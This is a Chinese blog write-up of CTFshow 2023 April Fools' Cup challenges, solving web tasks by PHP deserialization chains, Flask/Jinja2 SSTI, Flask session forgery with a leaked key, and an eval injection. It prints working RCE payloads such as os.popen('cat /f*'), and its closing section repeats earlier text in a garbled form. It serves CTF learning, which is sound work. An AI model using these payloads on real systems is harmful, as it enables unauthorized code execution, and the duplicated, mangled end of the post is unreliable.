2023CTFSHOW愚人杯部分WP


title: “2023CTFSHOW愚人杯WEB部分WP”
categories:

  • 网络安全
  • CTF竞赛
    tags:
  • CTF
  • WP

keywords:

  • 网络安全
  • CTF竞赛
  • CTFSHOW愚人杯

先总结一下,这次比赛算是本人比较突破自我的一次,因为以前我根本不会看难题,甚至中等题都是不怎么看的,但这次做出来了反序列化和溢出class,所以要相信自己

最遗憾的是class这题,第一次遇到web结合pwn的题,好不容易分析出rce但当时可能环境有问题一直无法读无法写但能curl,后面发现又可以读了?于是比赛结束后偷偷上个榜哈哈

欢迎关注本人博客:https://wustzhb.github.io

热身

flag是"一个不能说的秘密",让我想起了铁人三项那个flag_is_here,呵呵

MISC

奇怪的压缩包

伪加密,修改2出0900为0000

打开后是个图片,发现高被改了,再用winhex改一下高,显示出完整图片

试了各种编码和解密,发现都不行,最后用文件分离出了一个带密码的压缩包,用这串字符当做解压密码解压一下,发现不对,于是打开winhex,看到文件结尾有一串key,解码base64后打开图片再改一下高度获得flag

其他MISC看了一眼琴柳感没思路就看web了,毕竟咱是web手

WEB

easy_signin

为数不多的题目难度和描述一样的题,进去是个贴吧滑稽(不过这表情疑似被很多吧禁了),对着图片审查元素,发现是base64编码的图片,瞟了眼url一眼任意文件读取,解码base64后发现就是文件名,读一下index.php,看看源码,源码里就直接给了flag

被遗忘的反序列化

好久没做反序列化的题,还好没忘

难度还好,就是**$_SERVER**这个点没见过

看了一遍源码,先关注wuw这个类

class w_wuw_w{
    public $aaa;
    public $key;
    public $file;
    public function __wakeup(){
        if(!preg_match("/php|63|\*|\?/i",$this -> key)){
            $this->key = file_get_contents($this -> file);
        }else{
            echo "不行哦";
        }
    }

    public function __destruct(){
        echo $this->aaa;
    }

    public function __invoke(){
        $this -> aaa = clone new EeE;
    }
} 

反序列化之前先触发wakeup,所以先看这个方法,检测key中是否有关键词(这个检测给我整乐了,我一度认为是出题人写错了,把file写成了key,因为我没看懂这个检测有什么意义,要么你在key读取到文件内容后检测,要么你检测file,你上来就检测key是啥意思)

把读取file的内容给key,然后结束时显示aaa,这里我们就要让aaa和key的内容一样我们才能看到内容,所以要让aaa成为key的引用来绑定他们俩,这样key是啥aaa就是啥

题目中include了一个check.php,我们用这个读取一下

$a=new w_wuw_w();
$a->aaa=&$a->key;
$a->file="check.php";
//序列化a的结果  
//O:7:"w_wuw_w":3:{s:3:"aaa";N;s:3:"key";R:2;s:4:"file";s:9:"check.php";}

这里传值的时候要在header中加入这个AAAAAA,可能很多师傅卡在这了

check.php的源码:

function cipher($str) {

    if(strlen($str)>10000){
        exit(-1);
    }

    $charset = "qwertyuiopasdfghjklzxcvbnm123456789";
    $shift = 4;
    $shifted = "";

    for ($i = 0; $i < strlen($str); $i++) {
        $char = $str[$i];
        $pos = strpos($charset, $char);

        if ($pos !== false) {
            $new_pos = ($pos - $shift + strlen($charset)) % strlen($charset);
            $shifted .= $charset[$new_pos];
        } else {
            $shifted .= $char;
        }
    }

    return $shifted;
}

简单分析一下后发现是凯撒移位密码,网上找个工具或者脚本还原,或者自己逆向一下也行,反正我是没找到能解密成功的凯撒密码网站

解密一下cycycy类的cipher密文

//解密脚本
function decipher($str) {

    if(strlen($str)>10000){
        exit(-1);
    }
    
    $charset = "qwertyuiopasdfghjklzxcvbnm123456789";
    $shift = 4;
    $deciphered = "";
    
    for ($i = 0; $i < strlen($str); $i++) {
        $char = $str[$i];
        $pos = strpos($charset, $char);
    
        if ($pos !== false) {
            $new_pos = ($pos + $shift) % strlen($charset);
            $deciphered .= $charset[$new_pos];
        } else {
            $deciphered .= $char;
        }
    }
    
    return $deciphered;
    }

解密后原来的是:fe1ka1ele1efp

现在我们要做的就是编写利用链来触发aaa从而RCE

这里我说下我做这种题的一个思路,我一般是倒着推,比如这一题最终利用aaa来rce,那么我们就从谁触发了aaa函数来推

EeE的_clone方法能触发cycycy的aaa,w_wuw_w的__invoke方法能触发EeE的clone,gBoBg的_toString方法如果让aa为w_wuw_w类则能触发wuw的_invoke,给EeE的text赋值为gBoBg,EeE的_wakeup方法能触发gBoBg的toString

最后我们给gBoBg的属性赋值来进入else语句

//不设置name,直接在构造链子的时候不要管name就行
//设置file
$g_class=new gBoBg();
$g_class->file="Lanb0";
//这样写就能进入else语句了,最后别忘了在构造链子的时候给coos赋值为w_wuw_w

最终构造链子如下:这里要注意把private变量删掉,因为header头不会自动解码url,而private变量的序列化含有不可见字符,所以无法正确传值

$lanb0=new EeE();
$gBoBg=$lanb0->text=new gBoBg();
$gBoBg->file="any";
$w_wuw_w=$gBoBg->coos=new w_wuw_w();

构造好一切后先ls看目录

h1nt.txt没用,读根目录看看文件,然后直接读根目录下的f1agaaa获得flag

easy_ssti

打开题目,没啥东西,看源代码提示下载app.zip

from flask import Flask
from flask import render_template_string,render_template
app = Flask(__name__)

@app.route('/hello/')
def hello(name=None):
    return render_template('hello.html',name=name)
@app.route('/hello/<name>')
def hellodear(name):
    if "ge" in name:
        return render_template_string('hello %s' % name)
    elif "f" not in name:
        return render_template_string('hello %s' % name)
    else:
        return 'Nonononon'

很明显的flask ssti

因为我们最后要读取flag,所以控制语句进入ge

{{"ge"._class_.__base__.__subclasses__}}//查找所有可用模块

这是一个找模块的python脚本

'''
__author__:lanb0
'''

import re
import requests
# 输入字符串,尖括号中的内容应符合要求
input_str = requests.get(url=r'http://460e222d-900a-47c8-bb03-81ec389f5cf6.challenge.ctf.show/hello/%7B%7B%22ge%22.__class__.__base__.__subclasses__()%7D%7D').text

# 输入要查找的内容
search_str = "os"

# 使用正则表达式查找符合要求的内容
matches = re.findall(r"&#39(.*?)&#39", input_str)

# 在找到的内容中查找要查找的内容并输出位置
for i in range(len(matches)):
    if search_str in matches[i]:
        print("Found at position:", i+1,str(matches[i]))
        

经过检测,后端过滤了斜杠和反斜杠(‘\’,‘/’),一出现这些就会报错404

有两种方法

第一种是用hex编码关键字,比如这条payload用hexo编码了cat /f*

#payload
{{"ge".__class__.__base__.__subclasses__()[133].__init__.__globals__['__builtins__'].__import__('os').popen('\x63\x61\x74\x20\x2f\x66\x2a').read()}} 

第二种方法是popen里执行一个base64编码的命令

echo "编码后的命令" | base64 --decode | bash

但这种方法需要用subprocess库才能回显,所以我们第一条payload不适用,不过有兴趣的师傅可以试试能不能弹shell出去

还有一点,就是system和popen函数都可以执行函数,但为什么我们都用popen,就是因为popen有read方法,否则只会执行不会回显结果

这里推荐一篇写的非常仔细的总结jinja2的SSTI的文章

easy_flask

一个登录界面,题目时flask所以还是先不试sql注入了,直接注册一个用户看看葫芦里卖的什么药

登录后点击learn,是个教学页面,不过直接把key泄露出来了(和22年某次安全事件的起因:有内部人员在做教学帖子时在CSDN上直接copy数据库的key有异曲同工之妙)

# app.py
from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response


app = Flask(__name__)


app.secret_key = 'S3cr3tK3y'

users = {

}

@app.route('/')
def index():
# Check if user is loggedin
if 'loggedin' in session:
return redirect(url_for('profile'))
return redirect(url_for('login'))

@app.route('/login/', methods=['GET', 'POST'])
def login():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users and password == users[username]['password']:
session['loggedin'] = True
session['username'] = username
session['role'] = users[username]['role']
return redirect(url_for('profile'))
else:
msg = 'Incorrect username/password!'
return render_template('login.html', msg=msg)


@app.route('/register/', methods=['GET', 'POST'])
def register():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users:
msg = 'Account already exists!'
else:
users[username] = {'password': password, 'role': 'user'}
msg = 'You have successfully registered!'
return render_template('register.html', msg=msg)



@app.route('/profile/')
def profile():
if 'loggedin' in session:
return render_template('profile2.html', username=session['username'], role=session['role'])
return redirect(url_for('login'))

........

这里的key是flask session的,要注意jwt token和flask session的区别,如果你用session去jwt.io解密那么大概率是header部分是卸载信息的,但是负载部分是乱码,我们这里直接模拟一个同样密钥的key伪造一个flask session

我们可以用模拟登陆的方法,自己写一个简单的flask服务,根据提示把role都改为admin

#flask server
from flask import Flask, session

app = Flask(__name__)
app.secret_key = 'S3cr3tK3y'
@app.route('/login')
def login():
    # 模拟登录,将用户名和角色存储在会话中
    session['loggedin'] = True
    session['username'] = 'admin'
    session['role'] = 'admin'
    return "登录成功!"

app.run()

打开浏览器访问login看一眼cookie就行能拿到伪造后的session

.eJyrVsrJT09PTcnMU7IqKSpN1VEqys9JVbJSSkzJBYrpKJUWpxblJeYihGoBzOYRgA.ZCrqrw.U67c2r-uuNnWyElkalgf4Wo3dm

带上伪造的session访问/profile

发现多了个click here,可以下载一个fakeflag.txt,打开看看还真是假的flag,用一系列misc检测没有什么异常

回到页面,既然是下载那么有可能任意文件下载,看源码果然是

 <p>Congratulations! You can download the fakeflag: <a href="/download/?filename=fakeflag.txt"><i
                    class="fas fa-download"></i> Click here</a></p>
        

我们把整个app.py下载下来,发现还有个hello路由

@app.route('/hello/')
def hello_world():
    try:
        s = request.args.get('eval')
        return f"hello,{eval(s)}"
    except Exception as e:
        print(e)
        pass
        
    return "hello"
    

eval直接传入交互式语句拿到flag

?eval=__import__('os').popen('cat /f*').read()

easy_class

这题到比赛结束只有7解,可惜当时没时间不然感觉能出,卡了两个点,一个是如何用post传空字符,另一个点时不知道为什么当时做的时候rce一直没有回显,但提权的命令和反弹shell又超了长度限制,最离谱的是赛后继续开环境做的时候就可以直接读flag了?

题目就是一个php页面,页面的功能是用php语言手动编写了一个缓存键值对的机制,期间长度不够的程序会自动用空字符\x00填充,最后执行一个回调函数。

这道题考察了一点pwn栈溢出知识,你可以像笔者这样像个大冤种一样一个一个代码审,但最佳的方法应该是大致看下各个函数,大概看懂后,我们在关键函数中输出当前的各个全局变量,来确定全局变量(不会有人一个个手算执行过程吧)

过程没法说的太详细,因为真的挺繁琐的,师傅们有兴趣自己审审

主要就是cache开了一个php缓存流,然后存入几个键值对,最后让你post一个值,你要利用这个post的值(空字符填充,ban掉了’\x00’就用’\0’)来把原始的** f 和 f和 fp冲掉来换成自己的值最后利用call_user_func**来RCE

public function __destruct(){
        $this->readNeaten();
        fclose($this->cache);
    }
  ->
  ->
 
private function readNeaten(){
        rewind($this->cache);
        fseek($this->cache, $this->ref_table['_clear_']+self::__REF_SIZE__);
        $f = $this->truncation(fread($this->cache, self::__REF_SIZE__-4));
        $t = $this->truncation(fread($this->cache, self::__REF_SIZE__-12));
        $p = $this->truncation(fread($this->cache, self::__REF_SIZE__));
        echo '$f的值是'.$f."   ".'$p的值是'.$p;//在这里显示一下方便修改
        call_user_func($f,$p);

    }

这里有个技巧,就是自己本地改下源代码,把执行readNeatten方法时的cache,ref_table都显示出来,然后根据还需要填充多少个字符才能冲掉程序自己补的空字符\x00

还有个需要注意的,最开始填充 f 的时候可以随便写字符 , 数字,字母都可以,但填充 f的时候可以随便写字符,数字,字母都可以,但填充 f的时候可以随便写字符,数字,字母都可以,但填充p的时候因为 f 和 f和 fp是连着的,所以我们需要用空字符来填充,这样他们就不会连在一起了还不会被填充的字符干扰

还有最容易踩坑的一点就是传参时,空字符要用**%00**来传,否则会被识别为乱码!!!,这里卡了笔者半天

最后构造好能够冲掉 p 和 p和 pf的data,post过去触发rce拿flag

虽然比赛结束了,但还能提交flag,哈哈,第9个解的,我怀疑前面第8名那个老哥也是发现突然可以读了

' f 的值 是 ′ . f的值是'. f的值.f." ".' p 的值 是 ′ . p的值是'. p的值.p;//在这里显示一下方便修改
call_user_func( f , f, f,p);

}



这里有个技巧,就是自己本地改下源代码,把执行readNeatten方法时的cache,ref_table都显示出来,然后根据还需要填充多少个字符才能冲掉程序自己补的空字符\x00

还有个需要注意的,最开始填充$f的时候可以随便写字符,数字,字母都可以,但填充$p的时候因为$f和$p是连着的,所以我们需要用空字符来填充,这样他们就不会连在一起了还不会被填充的字符干扰

还有最容易踩坑的一点就是传参时,空字符要用**%00**来传,否则会被识别为乱码!!!,这里卡了笔者半天



最后构造好能够冲掉$p和$f的data,post过去触发rce拿flag

[外链图片转存中...(img-f8uXRhNk-1680597733641)]





虽然比赛结束了,但还能提交flag,哈哈,第9个解的,我怀疑前面第8名那个老哥也是发现突然可以读了



![](https://img-blog.csdnimg.cn/img_convert/8c6a79b5be396b5e8a583831153f8e97.png)
  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 5
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值